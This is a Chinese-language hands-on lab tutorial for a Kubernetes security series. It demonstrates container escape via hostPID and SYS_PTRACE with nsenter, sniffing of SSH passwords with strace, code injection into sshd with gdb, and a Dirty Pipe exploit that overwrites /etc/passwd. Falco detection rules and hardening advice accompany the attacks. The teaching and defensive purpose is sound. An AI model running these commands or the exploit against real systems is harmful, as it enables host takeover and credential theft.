
容器逃逸系列完結篇——Process 注入和核心漏洞提權。
| 場景 | ATT&CK | 手法 | 前提條件 | 攻擊難度 |
|---|---|---|---|---|
| S17 | T1611 | SYS_PTRACE + HostPID 注入 | hostPID + SYS_PTRACE capability | 低 |
| S19 | T1068 | Dirty Pipe 核心漏洞 | Linux 5.8–5.16.10 核心 | 中 |
S17 是六式逃逸中最簡單的一種——只要一行 nsenter 指令就能進入宿主機。S19 則展示了核心漏洞如何讓普通容器也能逃逸,不需要任何特殊配置。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pod -n koad escape-ptrace
預期結果:
NAME READY STATUS RESTARTS AGE
escape-ptrace 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/privilege-escalation/S17-ptrace-escape.yaml kubectl wait --for=condition=Ready pod/escape-ptrace -n koad --timeout=60s
S19 Dirty Pipe 為概念示範,不需要獨立 Pod——在任何容器內都可以檢查核心版本。
建議另開一個終端視窗,保持 Falco 日誌持續輸出:
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|ptrace\|nsenter\|exploit"
在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。
完成本日實作後,你將能夠:
nsenter 一行指令完成容器逃逸(S17)ptrace 是 Linux 的除錯系統呼叫,允許一個 process 觀察和控制另一個 process 的執行。如果容器同時擁有:
攻擊者就能 attach 到宿主機的 process(如 sshd),注入 shellcode 或直接用 nsenter 進入宿主機的 namespace。
容器的隔離靠 Linux Namespace。每個 namespace 類型隔離不同的資源:
Container Host
PID Namespace: PID 1 = sleep infinity PID 1 = /sbin/init
Mount Namespace: / = overlay fs / = host root
UTS Namespace: hostname = escape-ptrace hostname = minikube
Net Namespace: eth0 = veth pair eth0 = real NIC
IPC Namespace: 獨立 IPC 宿主機 IPC
nsenter 可以進入指定 PID 的 namespace。如果容器能看到宿主機的 PID 1(透過 hostPID: true),nsenter -t 1 就能進入宿主機的所有 namespace。

apiVersion: v1
kind: Pod
metadata:
name: escape-ptrace
namespace: koad
labels:
koad-scenario: S17
mitre-attck: T1611
escape-method: ptrace-nsenter
spec:
hostPID: true # ← 共用宿主機 PID namespace
containers:
- name: attacker
image: ubuntu:22.04
command: ["sh", "-c", "sleep infinity"]
securityContext:
capabilities:
add: ["SYS_PTRACE"] # ← 允許 ptrace
兩個條件缺一不可:
hostPID: true 讓容器看到宿主機 processSYS_PTRACE 讓容器可以 attach 到這些 process踩坑提醒:S17 不需要
privileged: true!只需要hostPID+SYS_PTRACE兩個條件。這讓它比 S13–S14 更容易被忽略——管理者可能禁止了 privileged 但忘記禁止 hostPID。
spec:
hostPID: true # 打破 PID namespace 隔離,容器可見所有宿主機 process
containers:
- name: attacker
image: ubuntu:22.04 # 完整 Linux 發行版,內建 nsenter 等工具
securityContext:
capabilities:
add: ["SYS_PTRACE"] # 僅加一個 capability,不需要 privileged
hostPID: true 是唯一需要的 Pod 層級設定——不像 S13 需要 privileged,這個旗標在安全審計中更容易被遺漏SYS_PTRACE 搭配 hostPID 就能用 nsenter -t 1 直接進入宿主機 namespace,攻擊成本極低privileged 以展示:最小權限的逃逸條件只需要兩個旗標ptrace 逃逸展示了一個關鍵概念:容器逃逸不一定需要 privileged: true。在真實環境中,許多安全策略只禁止 privileged 容器,卻忽略了 hostPID、hostNetwork 等同樣危險的設定。2022 年 Palo Alto Unit 42 的報告指出,超過 25% 的雲端工作負載存在過度授權的 capabilities。S17 刻意用最小攻擊面(僅 hostPID + SYS_PTRACE)來提醒防禦者:PSS(Pod Security Standards)的 Baseline 等級不夠,必須用 Restricted 才能阻擋這類攻擊。
# 主機終端
kubectl exec -it -n koad escape-ptrace -- bash
預期結果:
root@escape-ptrace:/#
進入容器後已是 root,且此 Pod 設定了
hostPID: true+SYS_PTRACE——可以看到並操作宿主機的所有 process。
以下步驟都在容器內(
escape-ptrace)執行。

# 容器內 (escape-ptrace)
ps aux | head -10
預期結果:
USER PID %CPU %MEM COMMAND
root 1 0.0 0.1 /sbin/init
root 2 0.0 0.0 [kthreadd]
root 156 0.0 0.3 /usr/bin/containerd
root 378 0.0 0.5 /usr/bin/kubelet --bootstrap-kubeconfig=...
root 892 0.0 0.1 /usr/sbin/sshd -D
root 1024 0.0 0.2 /usr/bin/dockerd -H fd://
PID 1 是宿主機的
/sbin/init,表示 hostPID 生效。

# 容器內 → 進入宿主機
nsenter -t 1 -m -u -i -n -p -- /bin/bash
預期結果:
root@minikube:/#
prompt 變成
root@minikube——一行nsenter指令就完成逃逸。-t 1指向 PID 1(宿主機 init),-m -u -i -n -p同時進入所有五種 namespace。容器逃逸完成!
Falco 觀察:執行
nsenter後,Falco 監控視窗會出現 Critical 告警:[CRITICAL] KOAD Nsenter in Container (pod=escape-ptrace command=nsenter -t 1 -m -u -i -n -p -- /bin/bash)

以下指令在 nsenter 後的宿主機 namespace 中執行。
# 已 nsenter 到宿主機
whoami
預期結果:
root
確認身份是 root。接下來驗證是在宿主機而非容器中。
hostname
預期結果:
minikube
hostname 是
minikube而非容器名稱,確認已進入宿主機的 UTS namespace。
ls /etc/kubernetes/manifests/
預期結果:
etcd.yaml kube-apiserver.yaml kube-controller-manager.yaml kube-scheduler.yaml
能看到 Static Pod manifest 代表已進入宿主機的 Mount namespace——這些檔案定義了控制平面元件,攻擊者可以修改它們來植入後門。
cat /var/lib/kubelet/config.yaml | head -5
預期結果:
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: false
能讀取 kubelet 配置檔代表完全掌控 Node——攻擊者可以從這裡取得叢集 CA 憑證和 bootstrap token,進而接管整個叢集。

nsenter -t 1 -m -u -i -n -p 的每個 flag:
| Flag | Namespace | 說明 | 逃逸效果 |
|---|---|---|---|
-m |
Mount | 進入宿主機的檔案系統 | 看到 /etc/shadow, /var/lib/kubelet |
-u |
UTS | 進入宿主機的 hostname | hostname 變成宿主機 |
-i |
IPC | 共用宿主機的 IPC | 可以操作共享記憶體 |
-n |
Net | 使用宿主機的網路 | 可以存取叢集內部網路 |
-p |
PID | 看到宿主機的 process | 可以 kill/signal 任何 process |
-t 1 |
Target | PID 1 是宿主機的 init | 確保進入宿主機的 namespace |
找到宿主機的 sshd PID:
ps aux | grep sshd
預期結果:
root 892 0.0 0.1 /usr/sbin/sshd -D
因為
hostPID: true,容器可以看到宿主機的 sshd process。記下 PID 用於後續 attach。
用 strace 監控 sshd 的 read/write:
strace -p 892 -e trace=read,write -f 2>&1 | grep -i pass
預期結果:
read(4, "password\0", 1024) = 9
當有人 SSH 登入時,明文密碼會出現在 strace 輸出中。

找到宿主機的 sshd PID:
ps aux | grep sshd
預期結果:
root 892 0.0 0.1 /usr/sbin/sshd -D
同樣利用
hostPID找到 sshd PID,這次用 gdb 直接注入程式碼而非被動監聽。
用 gdb 注入指令:
gdb -p 892 -batch -ex 'call system("id > /tmp/ptrace-pwned")'
預期結果:
[Thread debugging using libthread_db enabled]
$1 = 0
gdb attach 到 sshd process,在 sshd 的 context 中呼叫
system(),以 sshd 的權限(root)執行指令。
驗證結果:
nsenter -t 1 -m -- cat /tmp/ptrace-pwned
預期結果:
uid=0(root) gid=0(root)
檔案是 sshd process 以 root 身份寫入的,證明 gdb 注入成功——攻擊者可以在宿主機的任何 process context 中執行任意指令。

| 配置 | PSS Baseline 是否阻擋 | PSS Restricted 是否阻擋 | 常見程度 |
|---|---|---|---|
| privileged: true | 是 | 是 | 少見 |
| hostPID: true | 是 | 是 | 少見 |
| hostNetwork: true | 否(Baseline 允許) | 是 | 常見 |
| SYS_PTRACE cap | 否 | 是 | 偶爾 |
問題在於:某些監控工具(如 Datadog Agent、某些 APM agent)可能要求 hostPID: true 和 SYS_PTRACE 來取得 process 級別的監控資料。團隊可能因為這些「合法需求」而在 RBAC 中允許了這些配置。
- rule: KOAD S17 Ptrace in Container
desc: Detect ptrace syscall in container
condition: >
evt.type = ptrace and container and
not k8s.ns.name in (kube-system)
output: >
Ptrace detected in container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline target_pid=%evt.arg.pid)
priority: CRITICAL
tags: [KOAD, T1611, process-injection]
同時偵測 nsenter:
- rule: KOAD Nsenter in Container
desc: Detect nsenter usage in container
condition: >
spawned_process and container and proc.name = nsenter
output: >
Nsenter executed in container
(container=%container.name pod=%k8s.pod.name
command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, container-escape]
| 項目 | 說明 |
|---|---|
| CVE | CVE-2022-0847 |
| 名稱 | Dirty Pipe |
| 影響核心 | Linux 5.8 — 5.16.10 |
| 危害 | 覆寫任意唯讀檔案,提權至 root |
| CVSS | 7.8 (High) |
| 發現者 | Max Kellermann |
| 修補版本 | 5.16.11, 5.15.25, 5.10.102 |
apiVersion: v1
kind: Pod
metadata:
name: kernel-cve-dirty-pipe
labels:
cve: CVE-2022-0847 # 標記具體 CVE,方便場景識別
spec:
containers:
- name: attacker
image: ubuntu:22.04 # 需要 gcc 編譯 exploit,完整發行版不可少
# 注意:不需要任何額外的 securityContext!
# Dirty Pipe 是核心漏洞,普通容器就能利用
securityContext——這是它最可怕的地方:不需要 privileged、不需要任何 capability、不需要 hostPID
S19 被選入 KOAD 是為了傳達一個核心訊息:即使容器配置完美(沒有 privileged、沒有多餘 capability、PSS Restricted),核心漏洞仍然可以擊穿所有隔離。Dirty Pipe(CVE-2022-0847)、DirtyCow(CVE-2016-5195)、runc 逃逸(CVE-2019-5736)和 Leaky Vessels(CVE-2024-21626)都屬於這類攻擊。防禦策略必須包含:及時的核心安全更新、gVisor/Kata 等沙箱運行時(Day 13 介紹)、以及 Falco 對異常 splice / ptrace 系統呼叫的即時偵測。
Linux 的 pipe(管道)使用 page cache 來暫存資料。正常流程:

攻擊者可以:
/etc/passwd,把 root 的密碼欄改成已知 hashsu root 使用已知密碼登入uname -r
預期結果:
5.15.0-xx-generic
如果在 5.8–5.16.10 範圍內,就有漏洞。

cat /proc/version
預期結果:
Linux version 5.15.0-91-generic ...
5.15.0 在 Dirty Pipe 的影響範圍(5.8–5.16.10)內。注意容器和宿主機共用核心,所以容器內看到的版本就是宿主機的核心版本。

cat > dirty_pipe.c << 'EOF'
// CVE-2022-0847 — Dirty Pipe exploit (概念示範)
#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv) {
if (argc < 4) {
printf("Usage: %s <file> <offset> <data>\n", argv[0]);
return 1;
}
int p[2];
pipe(p);
const int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
char buf[pipe_size];
write(p[1], buf, pipe_size);
read(p[0], buf, pipe_size);
int fd = open(argv[1], O_RDONLY);
loff_t offset = atol(argv[2]);
splice(fd, &offset, p[1], NULL, 1, 0);
write(p[1], argv[3], strlen(argv[3]));
printf("File overwritten at offset %ld\n", offset);
return 0;
}
EOF
gcc -o exploit dirty_pipe.c
預期結果:
(無輸出表示編譯成功)
exploit 利用
splice()和write()兩個合法 syscall 的交互漏洞——seccomp 無法阻擋,因為這些都是正常的系統呼叫。

正常的 /etc/passwd 第一行:root:x:0:0:root:/root:/bin/bash,offset 5 = x 的位置(密碼欄位)。
./exploit /etc/passwd 5 '$6$known$hash_here:'
預期結果:
File overwritten at offset 5
/etc/passwd是唯讀檔案,但 Dirty Pipe 繞過了權限檢查直接修改 page cache——root 的密碼欄位已被覆寫為攻擊者已知的 hash。

su root
預期結果:
Password: [輸入已知密碼]
root# id
uid=0(root) gid=0(root)
uid=0(root)確認提權成功——從普通容器使用者變成 root。因為容器共用宿主機核心,這個 root 權限可以直接影響宿主機。

容器和宿主機共用同一個核心。這是容器 vs VM 最根本的架構差異:

如果宿主機核心有漏洞:
| CVE | 名稱 | 年份 | 影響元件 | 危害 | KOAD 場景 |
|---|---|---|---|---|---|
| CVE-2019-5736 | runc breakout | 2019 | runc | 覆寫 runc binary → 宿主機 RCE | — |
| CVE-2020-15257 | containerd shim | 2020 | containerd | host network 容器逃逸 | — |
| CVE-2022-0185 | fs_context overflow | 2022 | Linux kernel | 堆溢位 → 容器逃逸 | — |
| CVE-2022-0847 | Dirty Pipe | 2022 | Linux kernel | 覆寫唯讀檔案 → root | S19 |
| CVE-2024-21626 | Leaky Vessels | 2024 | runc | workdir 設定為 /proc → 逃逸 | — |
| CVE-2024-1086 | netfilter UAF | 2024 | Linux kernel | Use-after-free → 容器逃逸 | — |
| 層級 | 措施 | 說明 | 效果 |
|---|---|---|---|
| 核心 | 及時更新 | 升級到 5.16.11+ | 根本修復 |
| 容器 | gVisor/Kata | 獨立核心的沙箱 | 隔離核心攻擊面 |
| 容器 | seccomp | 限制可用系統呼叫 | Dirty Pipe 用合法 syscall,效果有限 |
| 叢集 | 漏洞掃描 | 定期掃描節點核心版本 | 及早發現 |
| 叢集 | 節點自動更新 | kured 或 Flatcar | 自動套用安全更新 |
- rule: KOAD S19 Kernel Exploit Attempt
desc: Detect known exploit binary execution
condition: >
spawned_process and container and
(proc.name in (exploit, dirty_pipe, dirtypipe, cve_2022_0847,
pwnkit, dirtycow) or
proc.cmdline contains "/etc/passwd" and
proc.cmdline contains "splice")
output: >
Potential kernel exploit attempt
(container=%container.name pod=%k8s.pod.name
command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1068, kernel-exploit]
踩坑提醒:核心漏洞的偵測本質上很困難——exploit 使用的都是合法的系統呼叫(
pipe、splice、write),Falco 只能靠 binary 名稱和指令行模式匹配。攻擊者只要重新命名 exploit binary 就能繞過。真正的防禦是及時更新核心和使用 gVisor 隔離核心攻擊面。
| 式 | 場景 | 手法 | 前提 | 防禦 | 難度 |
|---|---|---|---|---|---|
| 一 | S13 | Privileged mount | privileged=true | PSS Restricted | 低 |
| 二 | S14 | Cgroup release_agent | privileged + cgroup v1 | PSS Restricted | 中 |
| 三 | S18 | lxcfs devices.allow | privileged=true | PSS Restricted | 中 |
| 四 | S15 | Docker.sock | hostPath mount | 禁止 hostPath | 低 |
| 五 | S16 | /proc core_pattern | privileged + hostPath | 禁止 hostPath + PSS | 中 |
| 六 | S17 | SYS_PTRACE + HostPID | hostPID + SYS_PTRACE | 禁止 hostPID + drop caps | 低 |
| CVE | S19 | Dirty Pipe | 有漏洞的核心 | 更新核心 + gVisor | 中 |


| 考點 | 本日內容 | 權重 |
|---|---|---|
| 容器安全 | hostPID, SYS_PTRACE 風險 | System Hardening 10% |
| CVE 回應 | Dirty Pipe 影響評估 + 修補 | Minimize Microservice 20% |
| gVisor | 沙箱隔離核心攻擊面 | Minimize Microservice 20% |
題目:叢集中有一個 Pod 使用了 hostPID: true 和 SYS_PTRACE capability。識別該 Pod,並說明其安全風險。
# 找出使用 hostPID 的 Pod
kubectl get pods -A -o json | \
jq -r '.items[] | select(.spec.hostPID == true) |
[.metadata.namespace, .metadata.name] | @tsv'
# 找出添加了 SYS_PTRACE 的 Pod
kubectl get pods -A -o json | \
jq -r '.items[] | select(
.spec.containers[].securityContext.capabilities.add[]? == "SYS_PTRACE"
) | [.metadata.namespace, .metadata.name] | @tsv'
# 風險說明:
# hostPID + SYS_PTRACE = 可以用 nsenter 進入宿主機
# 或用 ptrace attach 竊取其他 process 的記憶體資料
# 修復:設定 hostPID: false,移除 SYS_PTRACE capability
回顧 Day 8–11 的六種容器逃逸手法,按攻擊難度和影響範圍排序:
| 式 | 手法 | 前提條件 | 難度 | 影響 | KOAD 場景 |
|---|---|---|---|---|---|
| 一 | Privileged mount | privileged: true |
低 | Node 完整控制 | S13 |
| 二 | Cgroup release_agent | privileged: true + cgroup v1 |
中 | 宿主機 RCE | S14 |
| 三 | Docker.sock | hostPath: /var/run/docker.sock | 低 | 建立新特權容器 | S15 |
| 四 | /proc core_pattern | hostPID + 可寫 /proc | 中 | 宿主機 RCE | S16 |
| 五 | lxcfs | hostPath: /var/lib/lxcfs | 高 | 設備檔 + mount | S18 |
| 六 | SYS_PTRACE + hostPID | hostPID + SYS_PTRACE | 低 | nsenter 進宿主機 | S17 |
| CVE | Dirty Pipe | 核心 5.8–5.16.10 | 中 | 任意檔案覆寫 | S19 |

完成攻擊演練後,清理環境:
# 如果還在 nsenter 的宿主機 shell 中
exit # 離開 nsenter(回到容器)
exit # 離開容器(回到主機終端)
如果在 strace/gdb 步驟中 attach 到了宿主機 process,需要確認 process 正常運行:
# 主機終端 kubectl get pods -n kube-system # 確認系統 Pod 正常
如果需要完全重設 Pod 環境:
# 主機終端 kubectl delete pod -n koad escape-ptrace kubectl apply -f scenarios/privilege-escalation/S17-ptrace-escape.yaml
ps aux 看到宿主機 PID 1)nsenter -t 1 -m -u -i -n -p 一行指令完成逃逸(S17)nsenter -t 1 -m -u -i -n -p 完成逃逸並取得宿主機 shell明天 Day 12 開始防禦逃逸(上)——Pod Security Standards + seccomp + AppArmor,從准入控制層面堵住這些攻擊面。